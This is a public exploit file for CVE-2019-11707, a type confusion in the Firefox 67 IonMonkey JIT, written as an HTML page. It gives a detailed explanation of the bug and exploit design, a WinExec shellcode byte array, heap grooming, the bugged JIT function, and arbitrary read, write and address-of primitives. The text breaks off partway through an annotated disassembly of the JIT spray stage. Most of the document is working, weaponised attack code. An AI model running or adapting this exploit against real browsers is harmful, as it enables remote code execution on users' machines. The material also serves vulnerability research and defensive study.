1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 |
# Exploit Title: Mozilla Firefox 67 - Array.pop JIT Type Confusion # Date: 2021-12-07 # Type: RCE # Platform: Windows # Exploit Author: deadlock (Forrest Orr) # Author Homepage: https://forrest-orr.net # Vendor Homepage: https://www.mozilla.org/en-US/ # Software Link: https://ftp.mozilla.org/pub/firefox/releases/65.0.1/win64/en-US/ # Version: Firefox 67.0.2 64-bit and earlier # Tested on: Windows 10 x64 # CVE: CVE-2019-11707 # Bypasses: DEP, High Entropy ASLR, CFG # Full Hydseven exploit chain with sandbox escape (CVE-2019-11708): https://github.com/forrest-orr/Exploits/tree/main/Chains/Hydseven <html> <head> </head> <body> <script> /* _______ ___ ___ ______________ _______ _____ ____________ _____ _______ _______ _______ | _ | Y | _ |______| | _ | _ | _ |______| _ | _ | _ | _ | _ | |.1___|.| |.1___|______|___| |.| |.| | | |______|.| |.| |___| |.| |___| | |.|___|.| |.__)_/___/|.| <code>-|.|\___ |</code>-|.<code>-|.|/ /|.| |/ / |:1 |:1 |:1 ||:1\|:1 | |:|:1 ||:| |:| | | |:1 | | | |::.. . |\:.. ./|::.. . ||::.. . |::.. . | |::.|::.. . ||::.| |::.| | | |::.. . | | | </code>-------' <code>---' </code>-------'<code>-------</code>-------' <code>---</code>-------'<code>---' </code>---' <code>---' </code>-------' `---' Overview This is a Windows variation of CVE-2019-11707, an exploit targetting a type confusion bug in the Array.pop method during inlining/IonMonkey JIT compilation of affected code in versions of Firefox up to 67.0.2. Fundamentally this bug allows an attacker to trick IonMonkey into JIT'ing a function popping and accessing an element of a specially crafted malicious array without generating any speculative guards on the element type. In other words, we can reliably produce an ASM routine for a JS function which is only designed to handle array element access for a specific object type, while allowing us to effectively modify the type of the element being accessed. Thus a class object may be accessed as a float, a float as an integer, and so on. The end result is a classic type confusion on the ASM layer which is leveraged into an OOB array access, providing the basis for construction of R/W/AddressOf primitives. More specifically this bug allows for the creation of specially crafted malicious arrays with a specific element type set. By creating a function which loops through this malicious array and calls Array.pop on its elements, IonMonkey can be made to JIT an ASM routine specifically optimized to only handle this one specific type of array element. The bug comes into affect in the unique edge case of an object prototype: when Array.pop attempts to access an element at an index which does not exist (such as in a sparse array) it will then make a secondary, fall-back attempt to access this element index on the prototype of its associated array. This would not be an issue if IonMonkey tracked modifications to the type sets of prototype elements but it does not. ... bool hasIndexedProperty; MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script())); if (hasIndexedProperty) { trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps); return InliningStatus_NotInlined; } ... This was the vulnerable piece of code in IonMonkey which enabled the bug. It can be plainly seen that they did attempt to check types of indexed elements on array prototypes but did so incorrectly: every array will by default have a special ArrayPrototype object associated with it. However, we do not need to leave this default layout intact. We can set a custom prototype on our malicious array (this custom prototype itself being an array) and trick the engine into checking the ArrayPrototype of our custom prototype for indexed elements instead of the custom prototype which contains the malicious untracked elements. Practically speaking: var SparseTrapdoorArray = [BugArrayUint32, BugArrayUint32]; This will produce: SparseTrapdoorArray -> ArrayPrototype Now if a new array is created and set as the custom prototype of SparseTrapdoorArray: var CustomPrototype = [new Uint8Array(BugArrayBuf)]; SparseTrapdoorArray.__proto__ = CustomPrototype; This will produce: SparseTrapdoorArray -> CustomPrototype -> ArrayPrototype Thus an element access on a non-existent element of SparseTrapdoorArray will access this same index on CustomPrototype instead, and it will be the ArrayPrototype of CustomPrototype which is checked by IonMonkey during inlining, not the actual prototype of the SparseTrapdoorArray array ie. the CustomPrototype. If SparseTrapdoorArray[0] were to not exist and be accessed, it would result in an access to the Uint8Array element at CustomPrototype[0] despite the JIT'd function being optimized for access to Uint32Array at SparseTrapdoorArray[0]. ~ Design I created the exploit primitives for CVE-2019-11707 in much the same way as I did CVE-2019-17026: the heap is groomed so that 3 objects are lined up in memory. In this case they are ArrayBuffers. [ArrayBuffer 1][ArrayBuffer 2][ArrayBuffer 3] We use the bug to overflow array 1 and corrupt the ArrayBuffer of array 2, artificially augmenting its length to encompass the NativeObject of array 3. From this point onward, array 2 is used to corrupt the slots pointer within the NativeObject of array 3 to do arbitrary reads, writes and addrof. Once these primitives are obtained, a JIT spray is used to plant an egg hunter shellcode in +RX memory within the firefox.exe content process being hijacked. The ASM source for my egg hunter can be found here: https://github.com/forrest-orr/Exploits/blob/main/Payloads/Source/DoubleStar/Stage1_EggHunter/Egghunter64.asm The role of this egg hunter is to search out a magic QWORD in memory prefixing an arbitrary shellcode (in this case a WinExec shellcode) stored as a Uint8Array somewhere in this content process, disable DEP on it, and execute it via a branch instruction. The JIT code pointer of the JIT sprayed function is identified by using the arbitrary read/addrof primitives to walk its JitInfo struct, and then a secondary egg hunter within the JS itself is used to scan this JIT'd region for the JIT sprayed egg hunter shellcode itself, stored as a double float array and implanted at the end of the JIT'd ASM. Once this array is found, the JIT code pointer is modified to point to it, and the JIT sprayed function is run one last time, resulting in the WinExec shellcode being found in memory, set to executable and executed. ~ Sandboxing The lineage of the Firefox application involves a Medium Integrity AppContainer firefox.exe "parent" process which is responsible for making network connections and handling the UI, with a set of Low Integrity child/content firefox.exe processes beneath it, each locked to a specific domain (in the past it was one process per tab, now its one process per site) and responsible for parsing and potentially compiling/executing Javascript. The exploit in this source file is only able to compromise the child/content process. These processes are heavily sandboxed, and are not able to make network connections, perform (almost) any file I/O, launch processes, or affect the UI. This means that by default, neither WinExec or MessageBox shellcodes will work in this exploit. For an example of how the child/content process sandbox may be escaped via a secondary exploit, see either my Hydseven or Double Star exploit chains: https://github.com/forrest-orr/Exploits/tree/main/Chains/Hydseven https://github.com/forrest-orr/DoubleStar In the case of this standalone exploit, in order to be able to see the affect of a successful payload execution post-exploitation, you must adjust the security.sandbox.content.level in the "about:config" down from 5 to atleast 2. ~ Credits 0vercl0k- for the original research/analysis of CVE-2019-11708 and reverse engineering of xul.dll for "god mode" patching. sherl0ck- for his writeup on CVE-2019-11707. */ //////// //////// // Global helpers/settings //////// const Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x90, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0x90, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x90, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0xea, 0x6f, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xa1, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0x05, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00, 0x51, 0x48, 0xb9, 0x57, 0x53, 0x5c, 0x6e, 0x6f, 0x74, 0x65, 0x70, 0x51, 0x48, 0xb9, 0x43, 0x3a, 0x5c, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48, 0x85, 0xf6, 0x74, 0x2f, 0x48, 0x8d, 0x5e, 0x38, 0x48, 0x85, 0xdb, 0x74, 0x1a, 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0xae, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0x8b, 0x36, 0xeb, 0xcb, 0x48, 0x8b, 0x46, 0x10, 0x5e, 0x5f, 0x41, 0x58, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x57, 0x56, 0x48, 0x89, 0x4d, 0xf8, 0x48, 0x89, 0x55, 0xf0, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xd9, 0x48, 0x83, 0xc1, 0x18, 0x48, 0x8b, 0x75, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x70, 0x48, 0x01, 0xde, 0x48, 0x89, 0x75, 0xe8, 0x8b, 0x41, 0x74, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x20, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x5e, 0x24, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x1c, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x31, 0xf6, 0x48, 0x89, 0x75, 0xc8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x18, 0x48, 0x39, 0xf0, 0x0f, 0x86, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x0f, 0x85, 0xda, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x14, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x0f, 0xb7, 0x04, 0x02, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x89, 0xca, 0x48, 0x31, 0xdb, 0x8b, 0x5d, 0xc0, 0x48, 0x01, 0xda, 0x48, 0x39, 0xc8, 0x0f, 0x8c, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x39, 0xd0, 0x0f, 0x8d, 0x97, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfd, 0xff, 0xff, 0x8a, 0x14, 0x08, 0x80, 0xfa, 0x00, 0x74, 0x2f, 0x80, 0xfa, 0x2e, 0x75, 0x20, 0xc7, 0x03, 0x2e, 0x64, 0x6c, 0x6c, 0x48, 0x83, 0xc3, 0x04, 0xc6, 0x03, 0x00, 0xeb, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc1, 0xeb, 0xd3, 0x88, 0x13, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc3, 0xeb, 0xc9, 0xc6, 0x03, 0x00, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfd, 0xff, 0xff, 0xe8, 0x46, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x47, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfe, 0xff, 0xff, 0xe8, 0x26, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2, 0x48, 0x8b, 0x4d, 0xb8, 0xe8, 0x82, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0xeb, 0x09, 0x48, 0xff, 0xc6, 0x90, 0xe9, 0xe0, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xc8, 0x5e, 0x5f, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x57, 0x48, 0x89, 0xd7, 0x48, 0x31, 0xdb, 0x80, 0x39, 0x00, 0x74, 0x1a, 0x0f, 0xb6, 0x01, 0x0c, 0x60, 0x0f, 0xb6, 0xd0, 0x01, 0xd3, 0x48, 0xd1, 0xe3, 0x48, 0xff, 0xc1, 0x48, 0x85, 0xff, 0x74, 0xe6, 0x48, 0xff, 0xc1, 0xeb, 0xe1, 0x48, 0x89, 0xd8, 0x5f, 0xc3,]); var JITIterations = 10000; // Number of iterations needed to trigger JIT compilation of code. The compilation count threshold varies and this is typically overkill (10+ or 1000+ is often sufficient) but is the most stable count I've tested. var HelperBuf = new ArrayBuffer(8); var HelperDbl = new Float64Array(HelperBuf); var HelperDword = new Uint32Array(HelperBuf); var HelperWord = new Uint16Array(HelperBuf); var OverflowArrays = [] OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); // <- Overflow from here OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); OverflowArrays.push(new ArrayBuffer(0x20)); var BugArrayBuf = OverflowArrays[5]; var CorruptedArrayBuf = OverflowArrays[6]; var MutableArray = OverflowArrays[7]; var BugArrayUint32 = new Uint32Array(BugArrayBuf); var SparseTrapdoorArray = [BugArrayUint32, BugArrayUint32]; //////// //////// // Debug/timer code //////// const EnableDebug = false; const EnableTimers = false; const AlertOutput = true; var TimeStart; var ReadCount; function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); } function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart); if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } } function DebugLog(Message) { if(EnableDebug) { if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } } /*////// //////// // JIT bug logic/initialization //////// What follows is the machine code generated by IonMonkey for the bugged JS function. 0000014FA8BC7CA0 | 48:83EC 20 | sub rsp,20| 0000014FA8BC7CA4 | 48:8B4424 40 | mov rax,qword ptr ss:[rsp+40] | 0000014FA8BC7CA9 | 48:C1E8 2F | shr rax,2F| 0000014FA8BC7CAD | 3D F3FF0100| cmp eax,1FFF3 | 0000014FA8BC7CB2 | 0F85 E3020000| jne 14FA8BC7F9B | 0000014FA8BC7CB8 | 48:8B4424 48 | mov rax,qword ptr ss:[rsp+48] | 0000014FA8BC7CBD | 48:C1E8 2F | shr rax,2F| 0000014FA8BC7CC1 | 3D F1FF0100| cmp eax,1FFF1 | 0000014FA8BC7CC6 | 0F85 CF020000| jne 14FA8BC7F9B | 0000014FA8BC7CCC | E9 04000000| jmp 14FA8BC7CD5 | 0000014FA8BC7CD1 | 48:83EC 20 | sub rsp,20| 0000014FA8BC7CD5 | 49:BB 785F225A7F000000 | mov r11,7F5A225F78| ... 0000014FA8BC7EBC | 49:8961 70 | mov qword ptr ds:[r9+70],rsp| 0000014FA8BC7EC0 | 6A 00| push 0| 0000014FA8BC7EC2 | 4C:8BCC| mov r9,rsp| 0000014FA8BC7EC5 | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0| 0000014FA8BC7EC9 | 41:51| push r9 | 0000014FA8BC7ECB | 48:83EC 28 | sub rsp,28| 0000014FA8BC7ECF | E8 4C020000| call 14FA8BC8120| 0000014FA8BC7ED4 | 48:83C4 28 | add rsp,28| 0000014FA8BC7ED8 | 5C | pop rsp | 0000014FA8BC7ED9 | A8 FF| test al,FF| 0000014FA8BC7EDB | 0F84 2F020000| je 14FA8BC8110| 0000014FA8BC7EE1 | 48:8B4C24 20 | mov rcx,qword ptr ss:[rsp+20] | 0000014FA8BC7EE6 | 0FAEE8 | lfence| 0000014FA8BC7EE9 | 48:83C4 28 | add rsp,28| 0000014FA8BC7EED | 4C:8BD9| mov r11,rcx | 0000014FA8BC7EF0 | 49:C1EB 2F | shr r11,2F| 0000014FA8BC7EF4 | 41:81FB FCFF0100 | cmp r11d,1FFFC| 0000014FA8BC7EFB | 0F85 E5010000| jne 14FA8BC80E6 | 0000014FA8BC7F01 | 48:B8 000000000000FEFF | mov rax,FFFE000000000000| 0000014FA8BC7F0B | 48:33C1| xor rax,rcx | 0000014FA8BC7F0E | 33D2 | xor edx,edx | 0000014FA8BC7F10 | 49:BB F02DB75C7F000000 | mov r11,7F5CB72DF0| 0000014FA8BC7F1A | 4C:3918| cmp qword ptr ds:[rax],r11| 0000014FA8BC7F1D | 0F85 CA010000| jne 14FA8BC80ED | 0000014FA8BC7F23 | 48:0F45C2| cmovne rax,rdx| 0000014FA8BC7F27 | 8B48 28| mov ecx,dword ptr ds:[rax+28] | 0000014FA8BC7F2A | 48:8B40 38 | mov rax,qword ptr ds:[rax+38] | 0000014FA8BC7F2E | 8B5424 1C| mov edx,dword ptr ss:[rsp+1C] | 0000014FA8BC7F32 | 45:33DB| xor r11d,r11d | 0000014FA8BC7F35 | 3BD1 | cmp edx,ecx | 0000014FA8BC7F37 | 0F83 0B000000| jae 14FA8BC7F48 | 0000014FA8BC7F3D | 41:0F43D3| cmovae edx,r11d | 0000014FA8BC7F41 | C70490 80000000| mov dword ptr ds:[rax+rdx*4],80 | <- Type confusion: IonMonkey JIT'd an index access for Uint32Array with a DWORD operand. By confusing the type with Uint8Array we can pass the boundscheck and corrupt 32-bits out of bounds with the SIB of this instruction 0000014FA8BC7F48 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000| 0000014FA8BC7F52 | 33C0 | xor eax,eax | 0000014FA8BC7F54 | 8B5424 1C| mov edx,dword ptr ss:[rsp+1C] | 0000014FA8BC7F58 | 49:BB 545F225A7F000000 | mov r11,7F5A225F54| 0000014FA8BC7F62 | 41:833B 00 | cmp dword ptr ds:[r11],0| 0000014FA8BC7F66 | 0F85 88010000| jne 14FA8BC80F4 | 0000014FA8BC7F6C | 3D 00000100| cmp eax,10000 | 0000014FA8BC7F71 | 0F8D 05000000| jge 14FA8BC7F7C | 0000014FA8BC7F77 | 83C0 01| add eax,1 | 0000014FA8BC7F7A | EB DC| jmp 14FA8BC7F58 | 0000014FA8BC7F7C | 48:83C4 20 | add rsp,20| 0000014FA8BC7F80 | C3 | ret | */ function BuggedJITFunc(Index) { if (SparseTrapdoorArray.length == 0) { SparseTrapdoorArray[1] = BugArrayUint32; // Convert target array to a sparse array, being careful to preserve the type set: if it were to change, IonMonkey will de-optimize this function back to bytecode } const Uint32Obj = SparseTrapdoorArray.pop(); Uint32Obj[Index] = 0x80; // This will be an OOB index access which will fail its boundscheck prior to being confused with a Uint8Array for (var i = 0; i < JITIterations; i++) {} // JIT compile this function } var CustomPrototype = [new Uint8Array(BugArrayBuf)]; // When IonMonkey JITs the bug function it will not check the type set of this custom prototype, only its ArrayPrototype. Only one element is needed since the sparse array access will be at index 0 SparseTrapdoorArray.__proto__ = CustomPrototype; // In theory only 3 should be needed but it never works with 3, always works with 4. for (var i = 0; i < 4; i++) { // The function JITs itself, this iteration count is what is required to empty out the array, make it sparse, and then make the type confusion access BuggedJITFunc(18); // 18*4 = 0x48: CorruptedArray.NativeObject.SlotsPtr /* ArrayBuffer in memory: +-> group+->shape || 0x7f8e13a88280:0x00007f8e13a798e00x00007f8e13aa1768 +-> slots+->elements (Empty in this case) || 0x7f8e13a88290:0x00000000000000000x000055d6ee8ead80 +-> Shifted pointer | pointing to+-> size in bytes of the data buffer | data buffer| 0x7f8e13a882a0:0x00003fc709d441600xfff8800000000020 +-> Pointer | pointing to+-> flags | first view | 0x7f8e13a882b0:0xfffe7f8e15e004800xfff8800000000000 */ } // Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful. MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double MutableArray.y = 0x41414141; MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double var CorruptedClone = new Uint8Array(OverflowArrays[6]); function LeakSlotsPtr() { var SavedSlotsPtrBytes = CorruptedClone.slice(0x30, 0x38); var LeakedSlotsPtrDbl = new Float64Array(SavedSlotsPtrBytes.buffer); return LeakedSlotsPtrDbl; } function SetSlotsPtr(NewSlotsPtrDbl) { HelperDbl[0] = NewSlotsPtrDbl; for(var i = 0; i < 8; i++) { var Temp = new Uint8Array(HelperBuf); CorruptedClone[0x30 + i] = Temp[i]; } } /*////// //////// // Exploit primitives ///////*/ function WeakLeakDbl(TargetAddress) { var SavedSlotsPtrDbl = LeakSlotsPtr(); SetSlotsPtr(TargetAddress); var LeakedDbl = MutableArray.x; SetSlotsPtr(SavedSlotsPtrDbl); return LeakedDbl; } function WeakWriteDbl(TargetAddress, Val) { var SavedSlotsPtrDbl = LeakSlotsPtr(); SetSlotsPtr(TargetAddress); MutableArray.x = Val; SetSlotsPtr(SavedSlotsPtrDbl); } function WeakLeakObjectAddress(Obj) { // x yz // MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????] MutableArray.y = Obj; // x yz // MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????] var SavedSlotsPtrDbl = LeakSlotsPtr(); HelperDbl[0] = SavedSlotsPtrDbl; HelperDword[0] = HelperDword[0] + 4; SetSlotsPtr(HelperDbl[0]); // Patch together a double of the target object address from the two 32-bit property values HelperDbl[0] = MutableArray.x; var LeakedLow = HelperDword[1]; HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues) var LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits SetSlotsPtr(SavedSlotsPtrDbl); HelperDword[0] = LeakedLow; HelperDword[1] = LeakedHigh; return HelperDbl[0]; } var ExplicitDwordArray = new Uint32Array(1); var ExplicitDwordArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read var ExplicitDblArray = new Float64Array(1); var ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read function InitStrongRWPrimitive() { // Leak data view pointers from the typed arrays HelperDbl[0] = WeakLeakObjectAddress(ExplicitDblArray); HelperDword[0] = HelperDword[0] + 0x38; // Float64Array data view pointer (same as ArrayBuffer) ExplicitDblArrayDataPtr = HelperDbl[0]; HelperDbl[0] = WeakLeakObjectAddress(ExplicitDwordArray); HelperDword[0] = HelperDword[0] + 0x38; // Uint32Array data view pointer (same as ArrayBuffer) ExplicitDwordArrayDataPtr = HelperDbl[0]; HelperDbl[0] = WeakLeakDbl(HelperDbl[0]); // In the event initialization failed, the first read will return the initial marker data in the x y and z slots of the MutableArray if(HelperDword[0] == 0x41414141) { DebugLog("Arbitrary read primitive failed"); window.location.reload(); return 0.0; } } function StrongLeakDbl(TargetAddress) { WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress); return ExplicitDblArray[0]; } function StrongWriteDword(TargetAddress, Value) { WeakWriteDbl(ExplicitDwordArrayDataPtr, TargetAddress); ExplicitDwordArray[0] = Value; } function StrongLeakDword(TargetAddress){ WeakWriteDbl(ExplicitDwordArrayDataPtr, TargetAddress); return ExplicitDwordArray[0]; } function GetJSFuncJITInfoPtr(JSFuncObj) { HelperDbl[0] = WeakLeakObjectAddress(JSFuncObj); // The JSFunction object address associated with the (now JIT compiled) shellcode data. HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct. var JITInfoAddress = WeakLeakDbl(HelperDbl[0]); return JITInfoAddress; } function GetJSFuncJITCodePtr(JSFuncObj) { var JITInfoAddress = GetJSFuncJITInfoPtr(JSFuncObj); if(JITInfoAddress) { var JITCodePtr = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT'd shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct) return JITCodePtr; } return 0.0; } /*////// //////// // JIT spray/egghunter shellcode logic //////// JIT spray in modern Firefox 64-bit on Windows seems to behave very differently when a special threshold of 100 double float constants are planted into a single function and JIT sprayed. When more than 100 are implanted, the JIT code pointer for the JIT sprayed function will look as follows: 00000087EB6F5280 | E9 23000000| jmp 87EB6F52A8 <- JIT code pointer for JIT sprayed function points here 00000087EB6F5285 | 48:B9 00D0F2F8F1000000 | mov rcx,F1F8F2D000 00000087EB6F528F | 48:8B89 60010000 | mov rcx,qword ptr ds:[rcx+160] 00000087EB6F5296 | 48:89A1 D0000000 | mov qword ptr ds:[rcx+D0],rsp 00000087EB6F529D | 48:C781 D8000000 0000000 | mov qword ptr ds:[rcx+D8],0 00000087EB6F52A8 | 55 | push rbp 00000087EB6F52A9 | 48:8BEC| mov rbp,rsp 00000087EB6F52AC | 48:83EC 48 | sub rsp,48 00000087EB6F52B0 | C745 E8 00000000 | mov dword ptr ss:[rbp-18],0 ... 00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 <- Note the first double float being loaded into RBX 00000087EB6F5341 | 53 | push rbx 00000087EB6F5342 | 49:BB D810EAFCF1000000 | mov r11,F1FCEA10D8 00000087EB6F534C | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F534F | FF17 | call qword ptr ds:[rdi] 00000087EB6F5351 | 48:83C4 08 | add rsp,8 00000087EB6F5355 | 48:B9 40807975083D0000 | mov rcx,3D0875798040 00000087EB6F535F | 49:BB E810EAFCF1000000 | mov r11,F1FCEA10E8 00000087EB6F5369 | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F536C | FF17 | call qword ptr ds:[rdi] 00000087EB6F536E | 48:BB 9090554889E54883 | mov rbx,8348E58948559090 00000087EB6F5378 | 53 | push rbx 00000087EB6F5379 | 49:BB F810EAFCF1000000 | mov r11,F1FCEA10F8 00000087EB6F5383 | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F5386 | FF17 | call qword ptr ds:[rdi] 00000087EB6F5388 | 48:83C4 08 